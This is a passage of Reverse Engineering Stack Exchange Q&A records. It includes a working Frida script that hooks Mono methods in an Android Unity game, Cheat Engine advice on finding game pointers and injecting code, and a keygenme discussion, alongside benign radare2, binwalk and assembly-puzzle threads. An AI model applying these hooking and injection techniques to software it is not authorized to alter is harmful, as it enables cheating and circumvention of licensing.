\nmono_jit_tls_id,mono_tracev,mono_jit_trace_calls,mono_break_on_exc,mono_compile_aot,mono_breakpoint_info_index,mono_aot_only,mono_build_date,mono_use_imt,mono_do_signal_chaining,mono_inject_async_exc_method,mono_break_at_bb_bb_num,mono_inject_async_exc_pos,mono_do_x86_stack_align,mono_break_at_bb_method,mono_pmip,mono_dont_free_global_codeman,mono_print_method_from_ip,mono_debug_lookup_source_location,mono_debug_free_source_location,mono_domain_get,mono_jit_info_table_find,g_free,mono_method_full_name,mono_mempool_alloc0,mono_code_manager_reserve,mono_code_manager_new,mono_type_generic_inst_is_valuetype,mono_type_get_underlying_type,mono_class_enum_basetype,mono_method_get_header,mono_jit_stats,mono_type_get_name,mono_inst_name,mono_class_from_mono_type,mono_metadata_signature_alloc,mono_mempool_alloc,mono_get_root_domain,mono_free_verify_list,mono_loader_get_last_error,mono_compile_method,mono_type_size,mono_metadata_generic_class_is_valuetype,mono_class_min_align,mono_environment_exitcode_get,mono_mempool_destroy,mono_thread_exit,mono_thread_attach,mono_domain_set,mono_jit_thread_attach,mono_thread_current,mono_debugger_thread_created,mono_thread_attach_aborted_cb,mono_debugger_thread_cleanup,mono_profiler_get_events,mono_class_vtable,mono_class_init,mono_runtime_class_init,mono_metadata_field_info,mono_lookup_internal_call,mono_image_rva_map,mono_thread_interruption_request_flag,mono_ldstr,mono_metadata_blob_heap,mono_ldtoken,mono_lookup_pinvoke_call,mono_type_get_object,mono_method_signature,mono_code_manager_new_dynamic,mono_method_get_generic_container,mono_code_manager_commit,mono_class_inflate_generic_method,mono_mempool_new,mono_debug_using_mono_debugger,mono_local_deadce,mono_runtime_invoke,mono_get_exception_execution_engine,mono_exception_from_name_msg,mono_loader_error_prepare_exception,mono_get_exception_bad_image_format,.....,GC_push_all_stack,GC_delete_thread,GC_lookup_thread,GC_start_blocking,GC_end_blocking,VER_1\nmscorlib.dll.so [ 0x0 ] \n\nUnityEngine.dll.so [ 0x0 ] \n\nUnityEngine.CoreModule.dll.so [ 0x0 ] \n\nUnityEngine.AccessibilityModule.dll.so [ 0x0 ] \n\nUnityEngine.ParticleSystemModule.dll.so [ 0x0 ] \n\nUnityEngine.PhysicsModule.dll.so [ 0x0 ] \n\nUnityEngine.VehiclesModule.dll.so [ 0x0 ] \n\nUnityEngine.ClothModule.dll.so [ 0x0 ] \n\nUnityEngine.AIModule.dll.so [ 0x0 ] \n\nUnityEngine.AnimationModule.dll.so [ 0x0 ] \n\nUnityEngine.TextRenderingModule.dll.so [ 0x0 ] \n\nUnityEngine.UIModule.dll.so [ 0x0 ] \n\nUnityEngine.TerrainPhysicsModule.dll.so [ 0x0 ] \n\nUnityEngine.IMGUIModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestAudioModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestTextureModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityWebRequestWWWModule.dll.so [ 0x0 ] \n\nUnityEngine.UNETModule.dll.so [ 0x0 ] \n\nUnityEngine.DirectorModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityAnalyticsModule.dll.so [ 0x0 ] \n\nUnityEngine.CrashReportingModule.dll.so [ 0x0 ] \n\nUnityEngine.PerformanceReportingModule.dll.so [ 0x0 ] \n\nUnityEngine.UnityConnectModule.dll.so [ 0x0 ] \n\nUnityEngine.WebModule.dll.so [ 0x0 ] \n\nUnityEngine.ARModule.dll.so [ 0x0 ] \n\nUnityEngine.VRModule.dll.so [ 0x0 ] \n\nUnityEngine.UIElementsModule.dll.so [ 0x0 ] \n\nUnityEngine.StyleSheetsModule.dll.so [ 0x0 ] \n\nUnityEngine.AudioModule.dll.so [ 0x0 ] \n\nUnityEngine.GameCenterModule.dll.so [ 0x0 ] \n\nUnityEngine.GridModule.dll.so [ 0x0 ] \n\nUnityEngine.ImageConversionModule.dll.so [ 0x0 ] \n\nUnityEngine.InputModule.dll.so [ 0x0 ] \n\nUnityEngine.JSONSerializeModule.dll.so [ 0x0 ] \n\nUnityEngine.ParticlesLegacyModule.dll.so [ 0x0 ] \n\nUnityEngine.Physics2DModule.dll.so [ 0x0 ] \n\nUnityEngine.ScreenCaptureModule.dll.so [ 0x0 ] \n\nUnityEngine.SpriteMaskModule.dll.so [ 0x0 ] \n\nUnityEngine.TerrainModule.dll.so [ 0x0 ] \n\nUnityEngine.TilemapModule.dll.so [ 0x0 ] \n\nUnityEngine.VideoModule.dll.so [ 0x0 ] \n\nUnityEngine.WindModule.dll.so [ 0x0 ] \n\nSystem.dll.so [ 0x0 ] \n\nAssembly-CSharp-firstpass.dll.so [ 0x0 ] \n\nAssembly-CSharp.dll.so [ 0x0 ] \n\nUnityEngine.UI.dll.so [ 0x0 ] \n\nUnityEngine.Networking.dll.so [ 0x0 ] \n\nUnityEngine.Timeline.dll.so [ 0x0 ] \n\nUnityEngine.SpatialTracking.dll.so [ 0x0 ] \n\nUnityEngine.Advertisements.Android.dll.so [ 0x0 ] \n\nFacebook.Unity.dll.so [ 0x0 ] \n\nFacebook.Unity.Settings.dll.so [ 0x0 ] \n\nFacebook.Unity.Android.dll.so [ 0x0 ] \n\nFacebook.Unity.IOS.dll.so [ 0x0 ] \n\nRTL.dll.so [ 0x0 ] \n\nSystem.Core.dll.so [ 0x0 ] \n</code></pre>\n",
        "Title": "android unity intercept w/ Frida",
        "Tags": "|android|.net|frida|",
        "Answer": "<p><a href=\"https://github.com/iddoeldor/mplus\" rel=\"nofollow noreferrer\">Answer</a> </p>\n\n\n\n<pre><code>    // Constants\n    const kIgnoreArg = '-';\n\n    // Utils\n    function pmalloc() {\n        return Memory.alloc(Process.pointerSize);\n    }\n    function debug() {\n        send({ event: 'DEBUG', data: Array.prototype.slice.call(arguments).join(' ') });\n    }\n\n    // Globals\n    var Metadata = {}; // &lt; className, { pointer, methods &lt; methodName, { pointer, args[], returnType } &gt;, fields } &gt;\n    var Global = {}; // save global variables across hooks\n    var MonoApi = {\n        mono_image_get_table_rows: ['int', ['MonoImage*', 'int'/*table_id*/]],\n        mono_class_get: ['MonoClass*', ['MonoImage*', 'int'/*type_token*/]],\n        mono_class_get_parent: ['MonoClass*', ['MonoClass*']],\n        mono_class_get_name: ['char*', ['MonoClass*']],\n        mono_method_get_name: ['char*', ['MonoMethod*']],\n        mono_class_get_methods: ['MonoMethod*', ['MonoClass*', 'iter*']],\n        mono_class_get_fields: ['MonoClassField*', ['MonoClass*', 'iter*']],\n        mono_signature_get_params: ['MonoType*', ['MonoMethod*', 'iter*']],\n        mono_field_full_name: ['char*', ['MonoField*']],\n        mono_class_get_namespace: ['char*', ['MonoClass*']],\n        mono_type_full_name: ['char*', ['MonoType*']],\n        mono_signature_get_return_type: ['MonoType*', ['MonoMethodSignature*']],\n        mono_class_get_method_from_name: ['MonoMethod*', ['MonoClass*', 'name*', 'int'/*number of params. -1 for any*/]],\n        mono_method_signature: ['MonoMethodSignature*', ['MonoMethod*']],\n        /** gpointer mono_compile_method (MonoMethod *method)\n         * http://docs.go-mono.com/index.aspx?link=xhtml%3Adeploy%2Fmono-api-unsorted.html */\n        mono_compile_method: ['gpointer*'/* pointer to the native code produced.*/, ['MonoMethod*']],\n        /**\n         * char* mono_string_to_utf8 (MonoString *s)\n         * @param    s  a System.String\n         * @Description\n         # TODO mono_free\n         *       Returns the UTF8 representation for s. The resulting buffer needs to be freed with mono_free().\n         *       deprecated Use mono_string_to_utf8_checked to avoid having an exception arbritraly raised.\n         */\n        mono_string_to_utf8: ['char*', ['System.String*']],\n        getClassMethods: function (klass) {\n            var method, methods = {}, iter = pmalloc();\n\n            while ( !(method = MonoApi.mono_class_get_methods(klass, iter)).isNull() ) {\n                var methodName = MonoApi.mono_method_get_name(method).readUtf8String();\n                if (!methodName.startsWith('&lt;') /*|| methodName.startsWith('.')*/) {\n                    var methodRef = MonoApi.mono_class_get_method_from_name(klass, Memory.allocUtf8String(methodName), -1);\n                    var monoSignature = MonoApi.mono_method_signature(methodRef);\n                    var retType = MonoApi.mono_type_full_name(MonoApi.mono_signature_get_return_type(monoSignature)).readUtf8String();\n                    var args = MonoApi.getSignatureParams(monoSignature);\n                    methods[methodName] = { ref: methodRef, args: args, ret: retType };\n                }\n            }\n\n            return methods;\n        },\n        getSignatureParams: function (monoSignature) {\n            var params, fields = [], iter = pmalloc();\n\n            while ( !(params = MonoApi.mono_signature_get_params(monoSignature, iter)).isNull() )\n                fields.push( MonoApi.mono_type_full_name(params).readUtf8String() );\n\n            return fields;\n        },\n        getClassFields: function (monoClass) {\n            var field, fields = [], iter = pmalloc();\n\n            while ( !(field = MonoApi.mono_class_get_fields(monoClass, iter)).isNull() )\n                fields.push( \n                    MonoApi.mono_field_full_name(field).readUtf8String().split(':')[1] );\n\n            return fields;\n        },\n        init: function() {\n            var monoModule = Process.findModuleByName('mono.dll');\n            debug(\"Process.findModuleByName('mono.dll') ? \" + monoModule);\n            if (!monoModule) {\n                var monoThreadAttach = Module.findExportByName(null, 'mono_thread_attach');\n                debug(\"monoThreadAttach ? \" + monoThreadAttach);\n                if (monoThreadAttach)\n                    monoModule = Process.findModuleByAddress(monoThreadAttach);\n            }\n            if (!monoModule) throw new Error('Mono.dll not found');\n\n            Object.keys(MonoApi).map(function(exportName) {\n                var monoApiIter = MonoApi[exportName];\n                if (typeof monoApiIter === 'object') {\n                    var returnValue = monoApiIter[0].endsWith('*') ? 'pointer' : monoApiIter[0];\n                    var argumentTypes = monoApiIter[1].map(function(t) { return t.endsWith('*') ? 'pointer' : t });\n                    var exportAddress = Module.findExportByName(monoModule.name, exportName);\n                    MonoApi[exportName] = new NativeFunction(exportAddress, returnValue, argumentTypes);\n                }\n            });\n        }\n    };\n\n    function intercept(op) {\n        var nothingSetSoJustLogMethodArguments = !op.argumentsKeys &amp;&amp; !op.onEnterCallback &amp;&amp; !op.onLeaveCallback;\n        var method = Metadata[op.className].methods[op.methodName];\n        debug('Intercepting', op.className + '#' + op.methodName, JSON.stringify(method));\n        // TODO assert re compile is necessary\n        var monoCompileMethod = MonoApi.mono_compile_method(method.ref);\n        Interceptor.attach(monoCompileMethod, {\n            onEnter: function (args) {\n                var argsValues = {};\n                for (var i = 0, l = method.args.length; i &lt; l; i++) {\n                    var key = op.argumentsKeys ? op.argumentsKeys[i] : i;\n                    if (key === kIgnoreArg)\n                        continue;\n                    var j = i + 1;\n                    switch (method.args[i]) {\n                        case 'string':\n                            argsValues[key] = MonoApi.mono_string_to_utf8(args[j]).readUtf8String();\n                            break;\n                        case 'long':\n                        case 'int':\n                            argsValues[key] = parseInt(args[j]);\n                            break;\n                        default:\n                            argsValues[key] = args[j];\n                            break;\n                    }\n                }\n\n                if (nothingSetSoJustLogMethodArguments)\n                    debug(op.className + '#' + op.methodName, JSON.stringify(argsValues, null, 2));\n\n                if (op.onEnterCallback)\n                    op.onEnterCallback(argsValues);\n            },\n            onLeave: function (retval) {\n                if (op.onLeaveCallback)\n                    op.onLeaveCallback(retval);\n            }\n        });\n    }\n\n    function getMetadata(monoImage) {\n        // MONO_TABLE_TYPEDEF = 0x2; // https://github.com/mono/mono/blob/master/mono/metadata/blob.h#L56\n        for (var i = 1, l = MonoApi.mono_image_get_table_rows(monoImage, 0x2); i &lt; l; ++i) {\n            // MONO_TOKEN_TYPE_DEF = 0x2000000 // https://github.com/mono/mono/blob/master/mono/metadata/tokentype.h#L16\n            var mClass = MonoApi.mono_class_get(monoImage, 0x2000000 | i);\n            var className = MonoApi.mono_class_get_name(mClass).readUtf8String();\n            var classNameSpace = MonoApi.mono_class_get_namespace(mClass).readUtf8String();\n            try {\n                var parentClassName = MonoApi.mono_class_get_name( MonoApi.mono_class_get_parent(mClass) ).readUtf8String();\n                if (parentClassName === 'MonoBehaviour' &amp;&amp; classNameSpace === '') {\n                    Metadata[className] = {\n                        // namespace: classNameSpace,\n                        ref: mClass,\n                        methods: MonoApi.getClassMethods(mClass),\n                        fields: MonoApi.getClassFields(mClass)\n                    };\n                }\n            } catch (e) {\n                debug(\"Error @ getMetadata/mono_class_get_parent\", e);\n            }\n        }\n        send({ event: 'METADATA', data: Metadata });\n    }\n\n    function hookMonoLoad() {\n        // hooking the method in charge of loading the DLL files\n        Interceptor.attach(Module.findExportByName(null, 'mono_assembly_load_from_full'), {\n            onEnter: function (args) {\n                // passing variables to onLeave scope using 'this'\n                this._args = {\n                    image: args[0], // MonoImage* Image to load the assembly from\n                    fname: args[1].readUtf8String() // const char* assembly name to associate with the assembly\n                    // status: args[2], // MonoImageOpenStatus* returns the status condition\n                    // refonly: args[3] // gboolean Whether this assembly is being opened in \"reflection-only\" mode.\n                };\n            },\n            onLeave: function (_retval) {\n                // Return value: A valid pointer to a MonoAssembly* on success and the status will be set to MONO_IMAGE_OK\n                //               or NULL on error.\n                if (this._args.fname.endsWith('Assembly-CSharp.dll')) {\n                    MonoApi.init();\n                    getMetadata(this._args.image);\n                    /*placeholder*/\n                }\n            }\n        });\n    }\n\n    function awaitForCondition(func) {\n        // From MDN: If this parameter is less than 10, a value of 10 is used. Note that the actual delay may be longer;\n        var delay = 10; // Fight for CPU\n        var intervalPointer = setInterval(function() {\n            // The condition that asserts Mono's required resources can be hooked\n            // TODO switch with intercepting dlopen wait for mono.dll ?\n            // FIXME use Module.ensureInitialized(name)\n            if (Module.findExportByName(null, 'mono_get_root_domain')) {\n                clearInterval(intervalPointer);\n                func(); // Executing the passed function\n            }\n        }, delay);\n    }\n\n    // Main\n    Java.perform(awaitForCondition(hookMonoLoad));\n</code></pre>\n"
    },
    {
        "Id": "18879",
        "CreationDate": "2018-07-24T10:09:41.827",
        "Body": "<p>I'm fairly new to reverse engineering at all and I'm currently struggling to get the static offset/address of a variable of a program I've written myself.</p>\n\n<p>So I've written the following program in C++, just to get some practice:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;Windows.h&gt;\n#include &lt;string&gt;\n\nclass Entity\n{\npublic:\n    Entity(int health, int max_health, int armor) : m_health{ health }, m_max_health{ max_health }, m_armor{ armor }\n    {}\nprotected:\n    int m_health;\n    int m_max_health;\n    int m_armor;\n};\n\nclass Player : public Entity\n{\npublic:\n    Player() : Entity(200, 400, 50)\n    {}\n    void heal() { m_health = m_max_health; }\n    int get_health() { return m_health; }\nprivate:\n};\n\nint main()\n{\n    Player player;\n\n    while (1)\n    {\n        std::cout &lt;&lt; \"player health: \" &lt;&lt; player.get_health() &lt;&lt; \"\\n\";\n        Sleep(500);\n    }\n}\n</code></pre>\n\n<p>after that I've opened up the executable in x32dbg. My first step was to look for string references and then check if I can find the \"player health\" string. That was fairly easy and it led me to the following instructions, which represent the while loop of the executable: \n<a href=\"https://i.stack.imgur.com/IComQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IComQ.png\" alt=\"1\"></a></p>\n\n<p>after that I've set a breakpoint at 010C24EC(as you can see in the picture) and I've followed ESP(which is 31FE18) in dumb which led me to the value of 200 which I assume is the value of the variable so I think the address 31FE18 is the address of my variable player.m_health. Now my problem is that the address is changing every time I restart the program(which is normal), so I've written another program in C++, which reads out the Imagebase of the other process so I thought that when I subtract the address of my variable from my Imagebase, I could get the static offset that is always going to lead me to the correct variable when I add it to the imagebase.</p>\n\n<p>I'm quite sure that I missunderstood some things and I would be really happy if someone could help me out, since I've really spent some time on trying to figure this out on my own but none of the things I've tried worked so far.</p>\n\n<p>Thanks in advance.</p>\n\n<p>Greets\nSteven</p>\n",
        "Title": "getting the static address/offset of a variable",
        "Tags": "|ollydbg|debugging|c++|address|offset|",
        "Answer": "<p><em>Note: This does not answers the question using x32dbg/ollydbg, but another tool. (I can't seem to be able to post a comment). My apologies if it is off topic.</em></p>\n<p>You can try with <a href=\"https://www.cheatengine.org/\" rel=\"nofollow noreferrer\" title=\"Cheat Engine\">Cheat engine</a> (CE).</p>\n<p>If yes, download the installer-less release, because the installer includes crap:</p>\n<p><a href=\"https://i.stack.imgur.com/ZLRDI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZLRDI.png\" alt=\"enter image description here\" /></a></p>\n<p>I assume you downloaded it and extracted it at this point.</p>\n<p>This software has a really nice integrated tutorial which is another .exe shipped in the folder. Read more about it <a href=\"https://wiki.cheatengine.org/index.php?title=Tutorials:Cheat_Engine_Tutorial_Guide_x64\" rel=\"nofollow noreferrer\">HERE</a> (it is for 64 bits, but it should give you an idea on how to run the 32 bit tutorial). Try to go through it (or skip the steps - bottom right corner), and at some point (step 6 and 8) your problem will be addressed (no pun intended).</p>\n<p>Good luck :)</p>\n<hr />\n<h1>Addendum</h1>\n<p><strong>Reading from the comments you posted below</strong></p>\n<ul>\n<li><em>I'm usually not lucky enough to pick the right one straight away [...]</em></li>\n</ul>\n<p>Although it is not perfect, CE has this tool called the &quot;pointer scan&quot; (you might already know this tool, I'm thinking about new CE users) where it kind of brute forces the offsets and goes down more than one level of depth. It might work after lots of effort.</p>\n<ul>\n<li><em>So I thought learning how to use them with small self-written programs would be the smartest way of getting into it. But as @mrexodia pointed out already, player objects are usually not allocated on the stack.</em></li>\n</ul>\n<p>Speaking more generally (I deviate from your pointer question), I think that this is a very good approach. Example : with this approach I once discovered an opcode I didn't know about / <code>cmov</code> (or <code>cmovcc</code> in manuals) while dissassembling a game of mine and therefore I knew exactly how things were laid down in the memory and in the code. Very instructive for me, definitely a +1. You could also learn about compiler optimizations by comparing the code and the generated assembly.</p>\n<p>When it comes to more complex games, try to practise on indie games (singleplayer of course) or open source (because they are accessible). Try <a href=\"https://assault.cubers.net/\" rel=\"nofollow noreferrer\">Assault cube</a> (or <a href=\"http://acr.victorz.ca/\" rel=\"nofollow noreferrer\">Assault cube reloaded</a>). This game is quite enjoyable to practise on because there are no debugging protections nor anti-cheat system, ... You can for example find pointers to the local player, or modify the game code / making your team invincible, infinite ammo and so on...</p>\n<h1>A workaround to your problem</h1>\n<p>This is an intuition and not based on facts, but I beleive that games made in virtual machines such as Java, C#, or OS features such as address randomization ... are harder to debug in assembly and could be unpredictable in terms of pointer finding, ... .\nA method I like to use (to find the local player, most of the time) is using &quot;code hooking&quot;.</p>\n<p>For example, if you want to find the address to the local player in AssaultCube (or an other game) you could find the GUI code that draws the player ammo/health on screen, because if your game displays to you that you have 100Hp, well it got to extract the value somewhere. What you could do in this case is using CE and find the Hp, finding what code accesses this address and hopefully there will be along the lines, the GUI code that intercepts this value. From there you can retreive the player base address. What is really good about this technique is that you don't have to mess around with pointers, it's a pretty straight forward way to get your player address.</p>\n<p>The downside is that you have to inject some code to reteive it. You could inject a hand crafted program (C, C++, ...) or use a CE trainer to acheive this effect. Using a debugger at this point may help you to understand where the data comes from and hopefully find a way to get the pointer.</p>\n<ul>\n<li><em>so my whole idea seems to be stupid</em> / <em>My biggest problem is that I'm not really a smart kind of a person</em> / <em>or would you say that it's a waste of time for a person like me</em></li>\n</ul>\n<p>No it is not stupid, you can totally get it to there, to me you are definitely not &quot;not really a smart kind of a person&quot; because you're trying to understand low level concepts such as pointers.</p>\n<p>I am not experienced in the reverse engineering field, I do not pretend that I know much things, but I have some &quot;bad&quot; questions on stackoverflow / gamedev, I clearly didn't know what I was doing but hey, I was younger and that is okay, it's part of the learning curve. At first I didn't even understand these concepts and quite a time ago, I made a &quot;simple&quot; mod for a game that involved assembly patching to improve the fun. There were two simple patches to make, but it took me some hours to figure out. The point I want to make is that you have to start somewhere. Kudos to you for trying !</p>\n<p>You WILL spend or even waste, to some extent, time figuring things out, learning techniques, debugging, ... It does not come alone you know. It's like drawing, I don't think Picasso woke up one day and knew how to paint, it eventually came with practice, failures, study and frustration.</p>\n<p>Now I realize that this does not really answers your question and my apologies, basically try the pointer scan / code hooking. I'm sure that there are more solutions to this problem, that I am not aware of.</p>\n"
    },
    {
        "Id": "18882",
        "CreationDate": "2018-07-24T18:15:51.527",
        "Body": "<p>I am trying to solve reverse engineering problem(s) from <a href=\"https://challenges.re/2/\" rel=\"nofollow noreferrer\">https://challenges.re/2/</a> - this is challenge 2 and the target is to get the highest possible level of understanding what the code does.</p>\n\n<pre><code>&lt;f&gt;:\n   0:          mov    eax,DWORD PTR [esp+0x4]\n   4:          bswap  eax\n   6:          mov    edx,eax\n   8:          and    eax,0xf0f0f0f\n   d:          and    edx,0xf0f0f0f0\n  13:          shr    edx,0x4\n  16:          shl    eax,0x4\n  19:          or     eax,edx\n  1b:          mov    edx,eax\n  1d:          and    eax,0x33333333\n  22:          and    edx,0xcccccccc\n  28:          shr    edx,0x2\n  2b:          shl    eax,0x2\n  2e:          or     eax,edx\n  30:          mov    edx,eax\n  32:          and    eax,0x55555555\n  37:          and    edx,0xaaaaaaaa\n  3d:          add    eax,eax\n  3f:          shr    edx,1\n  41:          or     eax,edx\n  43:          ret\n</code></pre>\n\n<p>Here's my approach to solution, in comments. Because the code does not give me an initial starting point, I am assuming the initial value assignment to be <code>12 34 56 78</code>:</p>\n\n<pre><code>mov    eax,DWORD PTR [esp+0x4] ; eax &lt; 12 34 56 78 (\u202d305419896\u202cd)\nbswap  eax               ; eax &lt; 78 56 34 12\nmov    edx,eax           ; eax = edx = 78 56 34 12\nand    eax,0xf0f0f0f         ; eax = 02 04 06 08\nand    edx,0xf0f0f0f0        ; edx = 70 50 30 10\nshr    edx,0x4           ; edx = 07 05 03 01\nshl    eax,0x4           ; eax = 20 40 60 80\nor     eax,edx           ; eax = 27 45 63 81\nmov    edx,eax           ; edx = eax = 27 45 63 81  \nand    eax,0x33333333        ; eax = 23 01 23 01\nand    edx,0xcccccccc        ; edx = 04 44 40 80\nshr    edx,0x2           ; edx = 01 11 10 20\nshl    eax,0x2           ; eax = 8C 04 8C 04\nor     eax,edx           ; eax = 8D 15 9C 24\nmov    edx,eax           ; eax = edx = 8D 15 9C 24\nand    eax,0x55555555          ; eax = 05 15 14 04\nand    edx,0xaaaaaaaa        ; edx = 88 00 88 20    \nadd    eax,eax           ; eax = 8D 15 9C 24\nshr    edx,1             ; edx = 44 00 44 10\nor     eax,edx           ; eax = CD 15 D6 34\nret                  ; return eax &gt; CD 15 D6 34 (3440760372d)\n</code></pre>\n\n<p>What I still don't get is the big picture - seems like some random mathematical operations without a purpose and probably I am wrong. What gives?</p>\n",
        "Title": "Reverse Engineering Challenge 2 from challenges.re",
        "Tags": "|disassembly|",
        "Answer": "<p>you probably have some error in the and operation<br>\nanswer by josh is right if you start with 12345678</p>\n\n<pre><code>mov eax,DWORD PTR [esp+0x4]     eax =       12 34 56 78\nbswap eax                       eax =       78 56 34 12\nmov edx,eax                     edx = eax = 78 56 34 12\nand eax,0x0f0f0f0f              eax =       08 06 04 02\nand edx,0xf0f0f0f0              edx =       70 50 30 10\nshr edx,0x4                     edx =       07 05 03 01\nshl eax,0x4                     eax =       80 60 40 20\nor eax,edx                      eax =       87 65 43 21\nmov edx,eax                     edx =       87 65 43 21\nand eax,0x33333333              eax =       03 21 03 21\nand edx,0xcccccccc              edx =       84 44 40 00\nshr edx,0x2                     edx =       21 11 10 00\nshl eax,0x2                     eax =       0c 84 0c 84\nor eax,edx                      eax =       2d 95 1c 84\nmov edx,eax                     edx = eax = 2d 95 1c 84\nand eax,0x55555555              eax =       05 15 14 04\nand edx,0xaaaaaaaa              edx =       28 80 08 80\nadd eax,eax                     eax =       0a 2a 28 08\nshr edx,1                       edx =       14 40 04 40\nor eax,edx                      eax =       1e 6a 2c 48\nret\n</code></pre>\n\n<p>lets do it in say python</p>\n\n<pre><code>&gt;&gt;&gt; a = 0x78563412\n&gt;&gt;&gt; b = 0x0f0f0f0f\n&gt;&gt;&gt; c = 0xf0f0f0f0\n&gt;&gt;&gt; d = 0x33333333\n&gt;&gt;&gt; e = 0xcccccccc\n&gt;&gt;&gt; temp = (((((a&amp;b)&lt;&lt;4|(a&amp;c)&gt;&gt;4)&amp;d)&lt;&lt;2) | ((((a&amp;b)&lt;&lt;4|(a&amp;c)&gt;&gt;4)&amp;e)&gt;&gt;2))\n&gt;&gt;&gt; hex(((temp &amp; 0x55555555 )*2) | (temp &amp; 0xaaaaaaaa) &gt;&gt; 1)\n'0x1e6a2c48L'\n</code></pre>\n"
    },
    {
        "Id": "18891",
        "CreationDate": "2018-07-25T05:08:07.673",
        "Body": "<p>With Radare2, I love the <code>iI</code> command.  </p>\n\n<p>I want to limit the output with grep or radare's own grep syntax.</p>\n\n<p>How do I run a <code>iI | grep -E 'bits | pic | stripped'</code> against my binary?</p>\n\n<pre><code>[0x100001200]&gt; iI\narch     x86\nbinsz    38688\nbintype  mach0\nbits     64\n....\n..\n.\n</code></pre>\n\n<p>My intention is to run this command inside a python script using <code>r2pipe</code>.</p>\n",
        "Title": "grep -E with Radare2",
        "Tags": "|radare2|",
        "Answer": "<p>Radare's grep is done by using the <code>~</code> character.</p>\n\n<pre><code> ~?&lt;br&gt;\n|Usage: [command]~[modifier][word,word][endmodifier][[column]][:line]\n</code></pre>\n\n<p>So to have the output you want just run:</p>\n\n<pre><code>iI~bits,pic,stripped\n\n[0x100001200]&gt; iI~bits,pic,stripped\nbits     64\npic      true\nstripped true\n</code></pre>\n\n<p>The same command you should run in your script. There's a lot of more that this grep can do. To get the help of it just run the <code>~?</code></p>\n"
    },
    {
        "Id": "18917",
        "CreationDate": "2018-07-28T22:42:31.247",
        "Body": "<p>I tried use Binwalk to extract content of binary firmware <a href=\"https://github.com/octavetek/research/raw/master/Image1.bin\" rel=\"nofollow noreferrer\">image</a> dumped from flash, but Binwalk does not show anything.\nI tried commands</p>\n\n<pre><code>binwalk -Me file.bin\nbinwalk --dd='.*' file.bin\n</code></pre>\n\n<p><code>strings</code> command  against a firmware image not show any human readable strings. <code>Entropy</code> command returns <code>Falling entropy edge (0.689208)</code> Or possibly, binary image is neither encrypted nor compressed?</p>\n\n<p><a href=\"https://i.stack.imgur.com/a64Tq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/a64Tq.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Binwalk does not show anything when process binary",
        "Tags": "|binary-analysis|firmware|embedded|binwalk|",
        "Answer": "<p>I tried:</p>\n\n<pre><code>$&gt; binwalk --opcodes Image1.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n348           0x15C           MIPS instructions, function epilogue\n516           0x204           MIPS instructions, function epilogue\n652           0x28C           MIPS instructions, function epilogue\n780           0x30C           MIPS instructions, function epilogue\n1160          0x488           MIPS instructions, function epilogue\n1268          0x4F4           MIPS instructions, function epilogue\n2208          0x8A0           MIPS instructions, function epilogue\n....\n</code></pre>\n\n<p>So, it really looks like a raw MIPS binary to me. I guess that this firmware is for a router or something similar.</p>\n\n<p>You should just force your disassembler to take this file as raw MIPS and process it.</p>\n\n<p><strong>Note</strong>: A '<em>raw binary</em>' is just a file with raw opcodes in it without any specific recognizable format (such as ELF, PE or Mach-O). Raw formats are just intended to be mapped directly in memory without going through an operating system first. It is very common in the embedded software World.</p>\n"
    },
    {
        "Id": "18918",
        "CreationDate": "2018-07-29T05:03:07.673",
        "Body": "<p>So I was messing with an interesting keygenme, written in C++, which derives the key based on the values of the <a href=\"https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/metadata/osinfo-structure\" rel=\"nofollow noreferrer\">OSINFO</a> structure. Now, when checking for a valid key it uses the following instruction:</p>\n\n<p><code>CMP EAX, DWORD PTR DS:[key]</code></p>\n\n<p>My question is: why isn't the key stored in a local variable or something like:<code>[EBP-X]</code>?</p>\n\n<p>How would I translate it back into C++ so that it stores the key in <code>DS:[key]</code> rather than in the stack?</p>\n",
        "Title": "Keygenme - Key location",
        "Tags": "|ida|x86|crackme|",
        "Answer": "<p>Use a global or static variable.</p>\n\n<p>Explanation:</p>\n\n<p><code>EBP</code> (base pointer) typically holds the address of the current stack frame, in that case it's used to get the address to local variable. (<a href=\"https://stackoverflow.com/a/15020825/5267751\">reference</a>) Global or static variables don't need such pointer, as their address is fixed on program load.</p>\n\n<hr>\n\n<p>By the way: I didn't test compiling a simple program on a 32-bit compiler. <a href=\"https://stackoverflow.com/questions/21165678/why-64-bit-mode-long-mode-doesnt-use-segment-registers\">64-bit mode doesn't use segment registers</a>.</p>\n"
    },
    {
        "Id": "18935",
        "CreationDate": "2018-07-30T23:20:18.503",
        "Body": "<p>I'm just curious. What if someone were to crack a program to get past a registration window/process and then bring this vulnerability to light? Can the owner/creator prosecute you for doing so, even if you were trying to help him or her?</p>\n",
        "Title": "What are the legal consequences of reverse engineering a program and telling the creator how you did it?",
        "Tags": "|law|",
        "Answer": "<p><em>I am not a lawyer. Basing your actions on anything I've written will be at your own risk. If searching for legal advice you should really consult an expert in the relevant legal field instead of community-driven sites</em></p>\n\n<p>First of all, cracking a program is not the same as finding a vulnerability in it. Although cracking a program may cause financial damages to the manufacturer, it does not pose any risk to the users. Additionally, except for unique <a href=\"https://en.wikipedia.org/wiki/Digital_rights_management\" rel=\"nofollow noreferrer\">DRM</a>-ed software and where advanced anti-theft features are in place, manufacturers do not tend to combat cracks <em>too</em> thoroughly, piracy is an accepted lost of revenue to some extent.</p>\n\n<p>I'll start by pointing at a relevant Israeli proverb - <a href=\"https://translate.google.com/translate?hl=en&amp;sl=auto&amp;tl=en&amp;u=https%3A%2F%2Fhe.wikipedia.org%2Fwiki%2F%25D7%259C%25D7%2594%25D7%25A9%25D7%25AA%25D7%2599%25D7%259F_%25D7%259E%25D7%2594%25D7%259E%25D7%25A7%25D7%25A4%25D7%25A6%25D7%2594\" rel=\"nofollow noreferrer\">Peeing from the diving stand</a>:</p>\n\n<blockquote>\n  <p>The statement is based on the fact that everyone knows that many pee in the swimming pool. While the general public prefers to ignore this wrongful act that it 